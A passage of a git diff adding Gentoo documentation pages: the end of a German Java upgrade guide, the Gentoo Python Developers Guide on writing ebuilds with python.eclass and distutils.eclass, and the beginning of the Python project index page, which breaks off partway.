+Wir stellen jetzt ein neues Skript zur Verfügung,
+<c>/usr/bin/java-check-environment</c>. Dieses, wie der Name vielleicht schon
+sagt, überprüft den Zustand der Java-Umgebung Ihres Systems. Es weist Sie dann
+darauf hin, welche Aktionen Sie durchführen sollten, um gefundene Probleme zu
+beheben. Starten Sie jetzt:
+</p>
+
+<pre caption="Überprüfen ihrer Umgebung">
+# <i>java-check-environment</i>
+</pre>
+
+<p>
+Falls java-check-environment einen Fehler findet, wird es stoppen und Ihnen
+mitteilen, was das Problem ist und wie es zu beheben ist. Folgen Sie dem
+gegebenen Ratschlag und führen Sie java-check-environment erneut aus bis es
+keine weiteren Probleme mehr findet.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Upgrade... abgeschlossen!</title>
+<section>
+<body>
+<p>
+Wenn Sie so weit gekommen sind, haben Sie das Upgrade auf das neue Java-System
+erfolgreich vollzogen. Herzlichen Glückwunsch!
+</p>
+
+<p>
+Jetzt möchten Sie vielleicht einen Blick auf unsere aktualisierte Dokumentation
+werfen:
+</p>
+
+<ul>
+ <li><uri link="/doc/de/java.xml">Benutzeranleitung</uri></li>
+ <li><uri link="java-devel.xml">Entwickleranleitung</uri></li>
+</ul>
+</body>
+
+</section>
+</chapter>
+
+<chapter>
+<title>Bekannte Probleme und Fragen</title>
+<section>
+<body>
+<p>
+Um auf allgemeine Probleme, die mit dem Upgrade zusammenhängen, hinzuweisen, hat
+das Java-Team
+<uri link="http://overlays.gentoo.org/proj/java/wiki/Common_Problems">hier</uri>
+eine Wikiseite gestartet. Bevor Sie Hilfe suchen oder irgendwo anders Probleme
+melden, schauen Sie sich diese Seite an.
+</p>
+</body>
+
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/Python/developersguide.xml b/xml/htdocs/proj/en/Python/developersguide.xml
new file mode 100644
index 00000000..0fd40274
--- /dev/null
+++ b/xml/htdocs/proj/en/Python/developersguide.xml
@@ -0,0 +1,830 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/Python/developersguide.xml,v 1.12 2010/02/28 16:47:07 arfrever Exp $ -->
+
+<guide link="/proj/en/Python/developersguide.xml" lang="en">
+<title>Gentoo Python Developers Guide</title>
+
+<author title="Author">
+  <mail link="dev-zero@gentoo.org">Tiziano Müller</mail>
+</author>
+<author title="Author">
+  <mail link="hawking@gentoo.org">Ali Polatel</mail>
+</author>
+<author title="Author">
+  <mail link="pythonhead@gentoo.org">Rob Cakebread</mail>
+</author>
+<author title="Author">
+  <mail link="arfrever@gentoo.org">Arfrever Frehtes Taifersar Arahesis</mail>
+</author>
+
+<abstract>
+This guide is supposed to be a help for (new) maintainers of Python packages.
+Besides valuable hints and tricks, there are guidelines for version bumps and
+drops, stabilization, correct eclass usage, correct dependencies and tests.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.4</version>
+<date>2010-02-28</date>
+
+<chapter id="Bumps_Drops_Stabilization">
+<title>Bumps, Drops, Stabilization</title>
+<section>
+<title>Version Bumps and Fixing Bugs</title>
+<body>
+
+<p>
+Never bump one of the following packages yourself if permission to do so is not
+explicitly granted by a (Co-)Lead:
+</p>
+
+<ul>
+  <li>dev-lang/python</li>
+  <li>app-admin/eselect-python</li>
+</ul>
+
+<p>
+While doing version bumps is surely appreciated, don't do it blindly. There were
+many bugs in the past which had been carried from version to version without
+being noticed. Make also sure that you check bugzilla <b>before</b> the bump to
+see whether there are open bugs for the package. Reading the ChangeLog of a
+package is also a good idea to catch new, changed or optional dependencies.
+</p>
+
+<p>
+Not all existing ebuilds in the tree use the eclasses properly (see below), so
+please fix bugs on sight.  Build the packages you're bumping or fixing even on
+small changes. Not all ebuilds have been written carefully while others might
+have been perfect when they have been committed. But over time, practice and
+rules change.
+</p>
+
+<p>
+The same goes for fixing bugs in the ebuilds. Please check whether there is a
+new version of the package out and do a version bump accordingly. Closing bugs
+is good, but not enough. Your primary objective should not be to close bugs but
+to maintain the packages in the herd.
+</p>
+
+<p>
+Ask for and do peer reviews. With such a practice, ebuild quality increases and
+it is a good way to transfer knowledge.
+</p>
+</body>
+</section>
+<section>
+<title>Dropping old versions and Stabilization</title>
+<body>
+
+<p>
+Every team member should try to keep the package directories clean and uncluttered.
+Besides the obvious checks (last stable for an arch, last not p.masked, other
+packages depend on an exact version of this package), there are some other
+things which you should consider before dropping an old version:
+</p>
+
+<ul>
+  <li>
+    When dropping an unstable version in the presence of a stable one: Does the
+    version you are going to drop have serious bugs which avoid stabilization?
+    Otherwise you might keep it and open a stabilization bug.
+  </li>
+  <li>
+    The same consideration also applies if there is no stable version yet: Are
+    there users who might want a stable version? Is this package mature enough
+    to go stable? If you decide to stabilize it, also think about how arch team
+    members could test it.
+  </li>
+  <li>
+    Do not stabilize alpha and beta versions nor release candidates wherever
+    possible. There are exceptions to this (if upstream just produces beta-ware
+    or the package is desperately needed for another app). If unsure, talk to
+    the Lead first.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="Writing_of_ebuilds">
+<title>Writing of ebuilds</title>
+<section>
+<title>Types of packages</title>
+<body>
+
+<p>
+There are 2 types of packages handled by python.eclass:
+</p>
+
+<ul>
+  <li>Packages supporting installation for multiple versions of Python</li>
+  <li>Packages not supporting installation for multiple versions of Python</li>
+</ul>
+
+<p>
+Packages supporting installation for multiple versions of Python install some files
+(usually <path>.py</path> or <path>.so</path>) into directories specific to given
+versions of Python.
+</p>
+
+<p>
+Packages not supporting installation for multiple versions of Python usually
+exhibit at least one of the following properties:
+</p>
+
+<ul>
+  <li>
+    They install Python modules outside of site-packages directories.
+  </li>
+  <li>
+    They do not install any files into directories specific to given versions of Python.
+  </li>
+  <li>
+    They install libraries linked against Python library (e.g. <path>libpython2.7.so</path>)
+    outside of directories specific to given versions of Python (e.g. in <path>/usr/lib</path>)
+    and filenames of these libraries do not contain Python version.
+  </li>
+  <li>
+    They import Python modules installed by packages not supporting installation for
+    multiple versions of Python.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Specification of dependency on Python</title>
+<body>
+
+<p>
+Ebuilds should properly specify dependency on supported version(s) of Python.
+python.eclass supports <c>PYTHON_DEPEND</c> helper variable, which allows
+to specify minimal and maximal version of Python. <c>PYTHON_DEPEND</c>
+variable should be set before 'inherit'. <c>PYTHON_DEPEND</c> variable
+should contain 1 or 2 groups of version components and can optionally begin with
+USE flag conditional in the form of "flag? " or "!flag? ". Each group of version
+components should contain major version ("2", "3" or "*") and can optionally contain
+minimal version (e.g. "2.6") and maximal version (e.g. "3.1"). Version components
+should be separated by colons. Colons followed only by empty components can be
+ommitted. "*" major version means that versions of both Python 2 and Python 3 are
+accepted. Minimal and maximal versions should contain major and minor versions.
+</p>
+
+<pre caption="Examples of PYTHON_DEPEND">
+# Dependency on any version of Python.
+<ident>PYTHON_DEPEND</ident>="*"
+
+# Dependency on any version of Python 2.
+<ident>PYTHON_DEPEND</ident>="2"
+
+# Dependency on any version of Python 3.
+<ident>PYTHON_DEPEND</ident>="3"
+
+# Dependency on any version of Python 2, which is at least 2.6.*.
+<ident>PYTHON_DEPEND</ident>="2:2.6"
+
+# Dependency on any version of Python 3, which is at least 3.2.*.
+<ident>PYTHON_DEPEND</ident>="3:3.2"
+
+# Dependency on any version of Python 2 or 3, which is at least 2.6.*.
+<ident>PYTHON_DEPEND</ident>="*:2.6"
+
+# Dependency on any version of Python 2, which is at least 2.7.*, or a version of Python 3, which is at least 3.2.*.
+<ident>PYTHON_DEPEND</ident>="2:2.7 3:3.2"
+
+# Dependency on any version of Python 2, which is at most 2.6.*.
+<ident>PYTHON_DEPEND</ident>="2::2.6"
+
+# Dependency on any version of Python 3, which is at most 3.2.*.
+<ident>PYTHON_DEPEND</ident>="3::3.2"
+
+# Dependency on any version of Python 2 or 3, which is at most 3.2.*.
+<ident>PYTHON_DEPEND</ident>="*::3.2"
+
+# Dependency on any version of Python 2, which is at least 2.5.* and at most 2.6.*.
+<ident>PYTHON_DEPEND</ident>="2:2.5:2.6"
+
+# Dependency on any version of Python 3, which is at least 3.1.* and at most 3.2.*.
+<ident>PYTHON_DEPEND</ident>="3:3.1:3.2"
+
+# Dependency on any version of Python 2 or 3, which is at least 2.6.* and at most 3.1.*.
+<ident>PYTHON_DEPEND</ident>="*:2.6:3.1"
+
+# Dependency on any version of Python 2, which is at least 2.5.* and at most 2.6.*, or a version of Python 3, which is at least 3.1.* and at most 3.2.*.
+<ident>PYTHON_DEPEND</ident>="2:2.5:2.6 3:3.1:3.2"
+
+# Dependency on any version of Python 2, when "python" USE flag is enabled.
+<ident>PYTHON_DEPEND</ident>="python? 2"
+
+# Dependency on any version of Python 2, which is at least 2.5.*, when "python" USE flag is enabled.
+<ident>PYTHON_DEPEND</ident>="python? 2:2.5"
+
+# Dependency on any version of Python 3, when "minimal" USE flag is disabled.
+<ident>PYTHON_DEPEND</ident>="!minimal? 3"
+</pre>
+
+</body>
+</section>
+<section>
+<title>Checking of USE flags of Python</title>
+<body>
+
+<p>
+Ebuilds can set <c>PYTHON_USE_WITH</c> or <c>PYTHON_USE_WITH_OR</c>
+before 'inherit' and call <b>python_pkg_setup()</b> to check if Python has been
+installed with specific USE flags. All USE flags specified in PYTHON_USE_WITH
+must be enabled, but at least one USE flag specified in PYTHON_USE_WITH_OR must
+be enabled. <c>PYTHON_USE_WITH_OPT</c> can specify a name of a USE flag,
+which conditionalizes PYTHON_USE_WITH and PYTHON_USE_WITH_OR.
+If python_set_active_version() (described below) is used, then it must be called
+before python_pkg_setup().
+</p>
+
+<pre caption="Example of PYTHON_USE_WITH (check for Tkinter)">
+<ident>PYTHON_USE_WITH</ident>="tk"
+
+<keyword>inherit</keyword> python
+
+...
+
+<stmt>pkg_setup</stmt>() {
+    <keyword>python_set_active_version</keyword> 2
+    <keyword>python_pkg_setup</keyword>
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Supporting of installation for multiple versions of Python</title>
+<body>
+
+<p>
+Ebuilds should set <c>SUPPORT_PYTHON_ABIS</c>="1" before 'inherit'.
+</p>
+
+<p>
+Ebuilds not working with some versions of Python should set <c>RESTRICT_PYTHON_ABIS</c>
+variable (e.g. after DEPEND/RDEPEND), which should contain list of space-separated
+fnmatch patterns. Such patterns can contain '*' character.
+</p>
+
+<pre caption="Examples of RESTRICT_PYTHON_ABIS">
+# Package not supporting Python 2.4.
+<ident>RESTRICT_PYTHON_ABIS</ident>="2.4"
+
+# Package not supporting Python 3.
+<ident>RESTRICT_PYTHON_ABIS</ident>="3.*"
+
+# Package not supporting Python 2.4 and 2.5.
+<ident>RESTRICT_PYTHON_ABIS</ident>="2.[45]"
+
+# Package not supporting Python 2.4 and 3.
+<ident>RESTRICT_PYTHON_ABIS</ident>="2.4 3.*"
+
+# Package not supporting Python 2.4, 2.6, 2.7 and 3.
+<ident>RESTRICT_PYTHON_ABIS</ident>="2.4 2.[67] 3.*"
+</pre>
+
+<p>
+Separate build directories must be used for different Python versions. Distutils
+by default uses "build" directory, which can be changed by "-b" option of "build"
+command of setup.py. Packages, which do not use Distutils, and very small number
+of packages, which use Distutils, usually need to use build directories outside
+of "${S}". Functions from distutils.eclass by default use "<c>${S}/build-${PYTHON_ABI}</c>"
+build directories. Packages, which do not use "${S}/build-${PYTHON_ABI}" build
+directories, need to call <b>python_copy_sources()</b> function, which copies
+sources to separate build directories.
+</p>
+
+<pre caption="Example of python_copy_sources()">
+<stmt>src_prepare</stmt>() {
+    <keyword>epatch</keyword> "<var>${FILESDIR}</var>/<var>${P}</var>-fix_build.patch"
+    <keyword>python_copy_sources</keyword>
+}
+</pre>
+
+<p>
+python_copy_sources() can be also used to copy a subdirectory of "${S}" to separate
+build directories. It can be useful in ebuilds of packages, which optionally build
+Python bindings.
+</p>
+
+<pre caption="Example of python_copy_sources() with a subdirectory of &quot;${S}&quot;">
+<stmt>src_prepare</stmt>() {
+    <keyword>default</keyword>
+
+    if <keyword>use</keyword> python; then
+        <keyword>python_copy_sources</keyword> bindings/python
+    fi
+}
+</pre>
+
+<p>
+<b>python_execute_function()</b> is used to perform appropriate actions with all enabled
+Python versions. This function requires one argument, which is name of function
+or -d / --default-function option. This function accepts some optional arguments.
+python_execute_function() executes a function, which needs to be defined earlier.
+To improve readability, it's recommended to define functions, which are used only
+in 1 place in ebuilds, directly before passing their names to python_execute_function().
+</p>
+
+<pre caption="Example of python_execute_function()">
+<stmt>src_test</stmt>() {
+    <stmt>testing</stmt>() {
+        <ident>PYTHONPATH</ident>="build-<var>${PYTHON_ABI}</var>/lib" "<keyword>$(PYTHON)</keyword>" runtests.py
+    }
+    <keyword>python_execute_function</keyword> testing
+}
+</pre>
+
+<p>
+When given actions should be executed in separate build directories created by
+python_copy_sources(), then <b>-s</b> / <b>--separate-build-dirs</b> option must be
+passed to python_execute_function().
+</p>
+
+<pre caption="Example of python_execute_function() with -s option">
+<stmt>src_prepare</stmt>() {
+    <keyword>epatch</keyword> "<var>${FILESDIR}</var>/<var>${P}</var>-fix_syntax.patch"
+    <keyword>python_copy_sources</keyword>
+}
+<stmt>src_configure</stmt>() {
+    <stmt>configuration</stmt>() {
+        "<keyword>$(PYTHON)</keyword>" configure.py \
+            --bindir="<var>${EPREFIX}</var>/usr/bin" \
+            --destdir="<var>${EPREFIX}</var>$(python_get_sitedir)"
+    }
+    <keyword>python_execute_function</keyword> -s configuration
+}
+</pre>
+
+<p>If build directories are subdirectories of "${S}", then additionally <b>--source-dir</b>
+option and path to source directory must be passed to python_execute_function().
+</p>
+
+<pre caption="Example of python_execute_function() with -s and --source-dir options">
+<stmt>src_configure</stmt>() {
+    <keyword>econf</keyword> \
+        $(use_with java) \
+        $(use_with python) \
+        $(use_with ruby)
+
+    <comment># Python bindings are built/tested/installed manually.</comment>
+    <keyword>sed</keyword> -e "/SUBDIRS =/s/ python//" -i bindings/Makefile || <keyword>die</keyword> "sed failed"
+}
+
+<stmt>src_compile</stmt>() {
+    <keyword>default</keyword>
+
+    if <keyword>use</keyword> python; then
+        <keyword>python_copy_sources</keyword> bindings/python
+        <stmt>building</stmt>() {
+            <comment># Override paths stored in bindings/python-${PYTHON_ABI}/Makefile files by 'configure'.</comment>
+            <keyword>emake</keyword> PYTHON="$(PYTHON)" PYTHON_INCLUDEDIR="$(python_get_includedir)" PYTHON_LIBDIR="$(python_get_libdir)"
+        }
+        <keyword>python_execute_function</keyword> -s --source-dir bindings/python building
+    fi
+}
+</pre>
+
+<p>
+<b>-d</b> / <b>--default-function</b> option is useful in cases, when the same
+actions, which are executed in default phase functions (e.g. emake in src_compile()),
+need to be executed. This option can be used only in a subset of ebuild phases.
+</p>
+
+<pre caption="Example of python_execute_function() with -d option">
+<stmt>src_compile</stmt>() {
+    <keyword>python_execute_function</keyword> -d -s
+}
+</pre>
+
+<p>
+python.eclass defines the following phase functions, which can be used to simplify
+some ebuilds:
+</p>
+
+<ul>
+  <li>python_src_prepare</li>
+  <li>python_src_configure</li>
+  <li>python_src_compile</li>
+  <li>python_src_test</li>
+  <li>python_src_install</li>
+</ul>
+
+<p>python_src_prepare() calls 'python_copy_sources', while other phase functions call
+'python_execute_function -d -s'. If <c>PYTHON_EXPORT_PHASE_FUNCTIONS</c>="1"
+variable has been set before 'inherit', then these phase functions are exported.
+</p>
+
+<p>
+<c>PYTHON_ABI</c> variable can be checked inside function executed by python_execute_function().
+</p>
+
+<pre caption="Example of python_execute_function() with a function checking PYTHON_ABI variable">
+<stmt>src_prepare</stmt>() {
+    <keyword>python_copy_sources</keyword>
+
+    patching() {
+        [[ "<var>${PYTHON_ABI}</var>" == 3.* ]] &amp;&amp; return
+        <keyword>epatch</keyword> "<var>${FILESDIR}</var>/<var>${P}</var>-python-3.patch"
+    }
+    <keyword>python_execute_function</keyword> --action-message 'Applying patches with $(python_get_implementation) $(python_get_version)' -s patching
+}
+</pre>
+
+<impo>
+<b>--action-message</b> and <b>--failure-message</b> options of python_execute_function()
+accept arguments, which are internally evaluated, so single quotes might be useful.
+</impo>
+
+<p>
+Sometimes another eclass defines a specialized function, which performs building,
+installation etc., but is designed for non-Python packages. In such cases, it's
+possible to call python_execute_function() with name of such a function.
+</p>
+
+<pre caption="Example of python_execute_function() with a function from another eclass">
+<stmt>src_configure</stmt>() {
+    <keyword>python_execute_function</keyword> -s gnome2_src_configure
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Setting of active version of Python in packages not supporting installation for multiple versions of Python</title>
+<body>
+
+<p>
+If given package supports only Python 2 or only Python 3, then <b>python_set_active_version()</b>
+function should be called to set active version of Python. Usually major version
+of Python should be passed to this function.
+</p>
+
+<pre caption="Example of python_set_active_version() with major version of Python">
+<stmt>pkg_setup</stmt>() {
+    <keyword>python_set_active_version</keyword> 2
+}
+</pre>
+
+<p>
+If given package supports only 1 version of Python, then Python ABI (in the form
+of ${major_version}.${minor_version}) can be passed to python_set_active_version().
+It will cause that python-updater will ignore this package.
+</p>
+
+<pre caption="Example of python_set_active_version() with Python ABI">
+<stmt>pkg_setup</stmt>() {
+    <keyword>python_set_active_version</keyword> 3.1
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Getter functions</title>
+<body>
+
+<ul>
+  <li>
+    <b>PYTHON</b> prints filename of Python interpreter (e.g. <path>python3.2</path>).
+  </li>
+  <li>
+    <b>PYTHON</b> with <b>-a</b> / <b>--absolute-path</b> option prints absolute path to Python interpreter (e.g. <path>/usr/bin/python3.2</path>).
+  </li>
+  <li>
+    <b>python_get_implementation</b> prints name of Python implementation (e.g. CPython).
+  </li>
+  <li>
+    <b>python_get_implementational_package</b> prints category, name and slot of package providing Python implementation (e.g. dev-lang/python:3.2).
+  </li>
+  <li>
+    <b>python_get_includedir</b> prints path to Python include directory (e.g. <path>/usr/include/python3.2</path>).
+  </li>
+  <li>
+    <b>python_get_libdir</b> prints path to Python library directory (e.g. <path>/usr/lib64/python3.2</path>).
+  </li>
+  <li>
+    <b>python_get_sitedir</b> prints path to Python site-packages directory (e.g. <path>/usr/lib64/python3.2/site-packages</path>).
+  </li>
+  <li>
+    <b>python_get_library</b> prints path to Python library (e.g. <path>/usr/lib64/libpython3.2.so</path>).
+  </li>
+  <li>
+    <b>python_get_library</b> with <b>-l</b> / <b>--linker-option</b> option prints Python library in the form of -l${library} linker option (e.g. -lpython3.2).
+  </li>
+  <li>
+    <b>python_get_version</b> prints major and minor version of Python (e.g. 3.2).
+  </li>
+  <li>
+    <b>python_get_version</b> with <b>--major</b> option prints major version of Python (e.g. 3).
+  </li>
+  <li>
+    <b>python_get_version</b> with <b>--minor</b> option prints minor version of Python (e.g. 2).
+  </li>
+  <li>
+    <b>python_get_version</b> with <b>--micro</b> option prints micro version of Python (e.g. 0).
+  </li>
+</ul>
+
+<pre caption="Example of python_get_includedir()">
+<stmt>src_install</stmt>() {
+    ...
+
+    <stmt>install_headers</stmt>() {
+        <keyword>insinto</keyword> "$(python_get_includedir)"
+        <keyword>doins</keyword> include/*.h
+    }
+    <keyword>python_execute_function</keyword> -q install_headers
+}
+</pre>
+
+<impo>
+To call Python interpreter in ebuilds, "<b>$(PYTHON)</b>" should be used.
+</impo>
+
+<p>
+In ebuilds supporting installation for multiple versions of Python, sometimes
+given action needs to be executed only once (e.g. generation of documentation).
+In such cases it should be executed with the final Python ABI from the list of
+enabled ABI, which is performed by passing <b>-f</b> / <b>--final-ABI</b> option
+to appropriate getter functions.
+</p>
+
+<pre caption="Example of PYTHON() with -f option">
+<stmt>src_compile</stmt>() {
+    <keyword>distutils_src_compile</keyword>
+
+    if <keyword>use</keyword> doc; then
+        "<keyword>$(PYTHON -f)</keyword>" setup.py pudge
+    fi
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Shebangs in installed scripts</title>
+<body>
+
+<p>
+Shebangs in installed scripts should be correct to avoid problems when a different
+version of Python is set as main active version of Python. If given package does
+not support some versions of Python and build system installs scripts with too
+generic shebangs, then <b>python_convert_shebangs()</b> should be called to convert
+shebangs. This function requires Python version and files / directories. Directories
+can be passed only with <b>-r</b> / <b>--recursive</b> option.
+</p>
+
+<pre caption="Example of python_convert_shebangs()">
+<stmt>src_prepare</stmt>() {
+    <keyword>python_convert_shebangs</keyword> -r 2 .
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Handling of byte-compiled modules</title>
+<body>
+
+<p>
+Byte-compilation of Python modules is usually disabled. <b>python_enable_pyc()</b> enables
+it, while <b>python_disable_pyc()</b> disables it.
+</p>
+
+<p>
+<b>python_mod_optimize()</b> is used to compile and optimize Python modules in
+pkg_postinst() phase. <b>python_mod_cleanup()</b> is used to remove compiled and
+optimized Python modules in pkg_postrm(). Ebuilds, which use distutils.eclass and
+install Python modules into site-packages directories, usually do not need to
+directly call python_mod_optimize() or python_mod_cleanup(). Paths of modules
+installed into site-packages directories should be relative to site-packages
+directories. Other paths should be relative to ${ROOT}. python_mod_cleanup()
+removes empty directories after cleaning up <path>.py</path> files.
+</p>
+
+<pre caption="Example of python_mod_optimize() and python_mod_cleanup()">
+<stmt>pkg_postinst()</stmt> {
+    <keyword>python_mod_optimize</keyword> PyQt4
+}
+
+<stmt>pkg_postrm()</stmt> {
+    <keyword>python_mod_cleanup</keyword> PyQt4
+}
+</pre>
+
+<impo>
+If the package's build system byte-compiles installed <path>.py</path> files, it's
+a good idea to disable this and use python_mod_optimize() to prevent unexpected
+problems.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Usage of distutils.eclass</title>
+<body>
+
+<ul>
+  <li>
+    <b>distutils_src_compile()</b>, <b>distutils_src_test()</b> and
+    <b>distutils_src_install()</b> internally perform actions appropriate for given
+    type of package. In ebuilds supporting installation for multiple versions of Python,
+    they define some functions and pass their names to python_execute_function().
+  </li>
+  <li>
+    If the ebuild name (in ${PN}) differs from the directory created by the package
+    in <path>site-packages/</path>, then ebuild should define a variable
+    <c>PYTHON_MODNAME</c> variable to tell <b>distutils_pkg_postinst()</b>
+    and <b>distutils_pkg_postrm()</b> paths of Python modules.
+  </li>
+  <li>
+    Ebuilds can set <c>DOCS</c> variable to tell <b>distutils_src_install()</b>
+    to install additional (pure-text) documentation files.
+  </li>
+</ul>
+
+<pre caption="Example of PYTHON_MODNAME (from dev-python/ipython)">
+<ident>PYTHON_MODNAME</ident>="IPython"
+</pre>
+
+<note>
+distutils_src_install() installs some documentation files by default.
+</note>
+
+<pre caption="Documentation files installed by default">
+<ident>default_docs</ident>="AUTHORS Change* CHANGELOG CONTRIBUTORS KNOWN_BUGS MAINTAINERS MANIFEST* NEWS PKG-INFO README* TODO"
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="Common_Problems_and_Mistakes">
+<title>Common Problems and Mistakes</title>
+<section>
+<body>
+
+<p>
+Below are common problems you may face and common mistakes made when writing
+ebuilds for python packages.
+</p>
+
+</body>
+</section>
+<section>
+<title>setuptools: *_require and use_setuptools()</title>
+<body>
+
+<impo>
+For setuptools-0.6a9 and newer you no longer have to remove _require options
+other than tests_require because starting with this version
+--single-version-externally-managed is made automatic when --root is used which
+solves the problem. The new distutils_src_unpack function handles
+use_setuptools() problems. The methods explained in this section - i.e. removing
+_requires and use_setuptools() with sed - shouldn't be used anymore.
+</impo>
+
+<p>
+Packages that use setuptools to install use _require options like
+tests_require,install_require,setup_requires in setup.py. These are nice to
+learn about dependencies but you don't want them in setup.py when you're
+installing the package. The following is from the <uri
+link="http://peak.telecommunity.com/DevCenter/setuptools">setuptools
+homepage</uri> section on <b>setup_requires</b>:
+</p>
+
+<p by="setuptools developer's guide">
+A string or list of strings specifying what other distributions need to be
+present in order for the setup script to run. setuptools will attempt to obtain
+these (<b>even going so far as to download them using EasyInstall</b>) before
+processing the rest of the setup script or commands.
+</p>
+
+<p>
+We have lovely package managers which can download stuff for us and verify their
+digests thus we don't want to download any packages using EasyInstall. There are
+other options like tests_require, install_requires that behave the same way.
+</p>
+
+<p>
+Some packages have a ez_setup.py along with the usual setup.py. This is a python
+script to download and install appropriate setuptools. To do this
+use_setuptools() is called from ez_setup.py before importing setuptools.
+</p>
+
+<pre caption="use_setuptools() from ez_setup.py">
+<keyword>def</keyword> <stmt>use_setuptools</stmt>(
+    version=DEFAULT_VERSION, download_base=DEFAULT_URL, to_dir=os.curdir,
+    download_delay=15
+):
+    """Automatically find/download setuptools and make it available on sys.path
+    [...]
+</pre>
+
+<p>
+Just like the _require options, if a setup.py script calls use_setuptools() from
+ez_setup.py you should remove it. Below is an example which illustrates how to
+do it.
+</p>
+
+<pre caption="setup.py of dev-python/myghty-1.1">
+<keyword>from</keyword> ez_setup <keyword>import</keyword> use_setuptools
+<stmt>use_setuptools</stmt>()
+<keyword>from</keyword> setuptools <keyword>import</keyword> setup, find_packages
+
+[...]
+
+<ident>install_requires</ident>=["Routes >= 1.0", "Paste", "PasteDeploy", "PasteScript"],
+
+[...]
+</pre>
+
+<pre caption="myghty-1.1.ebuild">
+<stmt>src_unpack</stmt>() {
+    <keyword>unpack</keyword> <var>${A}</var>
+    <keyword>cd</keyword> "<var>${S}</var>"
+    <keyword>sed</keyword> -i \
+        -e '/use_setuptools/d' \
+        -e '/install_requires=\[.*\],/d' \
+        setup.py || <keyword>die</keyword> "sed failed"
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>src_test and PYTHONPATH</title>
+<body>
+
+<p>
+When testing python packages it's important to make sure we're actually testing
+the package that is going to be merged not the already installed package. We can
+solve the problem by setting the PYTHONPATH environment variable which augments
+the default search path for module files. Here are two examples:
+</p>
+
+<pre caption="Example of src_test() from a pure-Python module">
+<stmt>src_test()</stmt> {
+    <stmt>testing</stmt>() {
+        <ident>PYTHONPATH</ident>="build-<var>${PYTHON_ABI}</var>/lib" "<keyword>$(PYTHON)</keyword>" test.py
+    }
+    <keyword>python_execute_function</keyword> testing
+}
+</pre>
+
+<pre caption="Example of src_test() from a Python module written in C">
+<stmt>src_test()</stmt> {
+    <stmt>testing</stmt>() {
+        <ident>PYTHONPATH</ident>="$(ls -d build-<var>${PYTHON_ABI}</var>/lib.*)" "<keyword>$(PYTHON)</keyword>" test.py
+    }
+    <keyword>python_execute_function</keyword> testing
+}
+</pre>
+
+<p>
+As you may have noticed if the module is written in languages like C, C++, etc.
+the name of the directory in build varies between architectures but it always
+starts with <path>lib</path>.
+</p>
+
+</body>
+</section>
+<section>
+    <title>Is dev-python/setuptools an RDEPEND or DEPEND?</title>
+<body>
+
+    <p>repoman may issue a warning saying <c>dev-python/setuptools</c> is a suspicious RDEPEND. Note however that <c>setuptools</c> is quite often a run-time dependency by code that installs commands in /usr/bin, uses pkg_resources to require specific package versions or makes use of entry points in a plugin system.
+</p>
+<p>If you emerge a package that uses <c>setuptools</c> and it installs commands in /usr/bin you can look at those commands and easily determine if <c>setuptools</c> is required at run-time.
+</p>
+
+<pre caption="Example of code that requires setuptools at run-time">
+    <stmt>#!/usr/bin/python</stmt>
+    <stmt># EASY-INSTALL-ENTRY-SCRIPT: 'doapfiend==0.3.4','console_scripts','doapfiend'</stmt>
+    <ident>__requires__</ident> = 'doapfiend==0.3.4'
+    <stmt>import sys</stmt>
+    <stmt>from pkg_resources import load_entry_point</stmt>
+</pre>
+<p>If the script imports <b>pkg_resources</b> then <c>dev-python/setuptools</c> must be in RDEPEND.
+</p>
+<p>You can also use <c>dev-python/yolk</c> to determine if a package uses <c>setuptools</c> entry points by giving it the Python <b>module</b> name (not Gentoo package name).
+</p>
+<pre caption="Example of a Python module that requires setuptools at run-time">
+    <stmt>$ yolk --entry-map paste</stmt>
+</pre>
+<p>If there is any output, then <c>dev-python/setuptools</c> should be in RDEPEND.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/Python/index.xml b/xml/htdocs/proj/en/Python/index.xml
new file mode 100644
index 00000000..c09de677
--- /dev/null
+++ b/xml/htdocs/proj/en/Python/index.xml
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+  <name>Python</name>
+  <!-- Update this if you edit the page! -->
+  <date>2008-07-31</date>
+
+  <author title="Author">
+    <mail link="marienz@gentoo.org">Marien Zwart</mail>
+  </author>
+
+<author title="Editor">
+  <mail link="pythonhead@gentoo.org">Rob Cakebread</mail>
+</author>
+
+  <!-- with some, ahem, inspiration from the Portage index.xml -->
+
+  <description>
+    The Python project maintains ebuilds for the Python language
+    itself and a lot of other packages using it.
+  </description>
+
+  <longdescription>
+    <p>
+      The Python project maintains dev-lang/python and most of
+      dev-python/.
+    </p>
+  </longdescription>
+
+  <herd name="python"/>
+
+  <dev role="Member">dev-zero</dev>
+  <dev role="Member">pythonhead</dev>
+  <dev role="Member">nelchael</dev>
+  <dev role="Member">neurogeek</dev>
+
+  <task lead="pythonhead">
+    <name>g-pypi</name>
+    <description>Create ebuilds from The Python Package Index automatically</description>
+    <longdescription><p>
+            <uri link="http://code.google.com/p/g-pypi">g-pypi</uri> is a tool for installing Python packages using information
+            from <uri link="http://pypi.python.org/pypi">PyPI</uri> without having to write an ebuild by hand.</p>
+        <p>g-pypi is a work in progress and not in portage yet. You can find the ebuild in the <uri link="http://overlays.gentoo.org/dev/pythonhead">pythonhead overlay</uri>. Contributions from the community are welcomed.</p>
+        <p>
